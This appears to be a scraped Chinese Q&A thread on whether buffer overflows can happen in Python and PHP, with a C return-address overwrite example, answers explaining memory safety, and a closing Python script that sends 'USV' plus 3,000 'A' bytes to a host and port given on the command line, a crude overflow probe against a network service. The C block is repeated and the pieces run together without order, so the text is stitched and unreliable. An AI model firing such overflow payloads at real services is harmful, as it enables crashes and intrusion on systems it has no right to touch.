以下是C语言的一个例子:
#include <stdio.h>
#include <string.h>
void bad() {
printf("Oh shit really bad~!\r\n");
}
void foo() {
char overme[4] = "WOW";
*(int*)(overme+8) = (int)bad;
}
int main() {
foo();
}
以下是C语言的一个例子:
#include <stdio.h>
#include <string.h>
void bad() {
printf("Oh shit really bad~!\r\n");
}
void foo() {
char overme[4] = "WOW";
*(int*)(overme+8) = (int)bad;
}
int main() {
foo();
}
Python和PHP像其他人建议的一样是解释性语言并不是重点。重点是它们几乎所有的API和语言语义都经过了严格的错误检查,因此不可能具有可利用的未定义行为。即使你编译这些语言,也仍然不可能。这并不意味着你不能暴露不安全的API,可以做任何事情。实际上,使用Python的ctypes模块应该可以创建类似的行为,但要通过意外操作实现会更加困难。
由于PHP是一种脚本语言,没有指针,并且字符串类型是二进制安全的,这些东西在PHP中不起作用。
但是为什么你会想做这样的事情呢?
(哦,可能会有PHP中的漏洞导致缓冲区溢出,但这在任何情况下都不能依赖,并且通常会很快得到修复...)
很抱歉,Python不支持缓冲区溢出。
PS哇,看起来我好像几个月前读过那篇文章,但实际上已经过去7年零一天了。
在PHP中做类似的事情不会产生相同的行为。
PHP是解释性的,并且始终检查您正在执行的操作是否有效。因此,您不能 - 例如 - 超出缓冲区。
import sys
import socket
for carg in sys.argv:
if carg == "-S":
argnum= sys.argv.index(carg)
argnum +=1
host = sys.argv[argnum]
elif carg == "-p":
argnum = sys.argv.index(carg)
argnum +=1
port = sys.argv[argnum]
buffer = "\x41"* 3000
s= socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send("USV" + buffer)
s.close()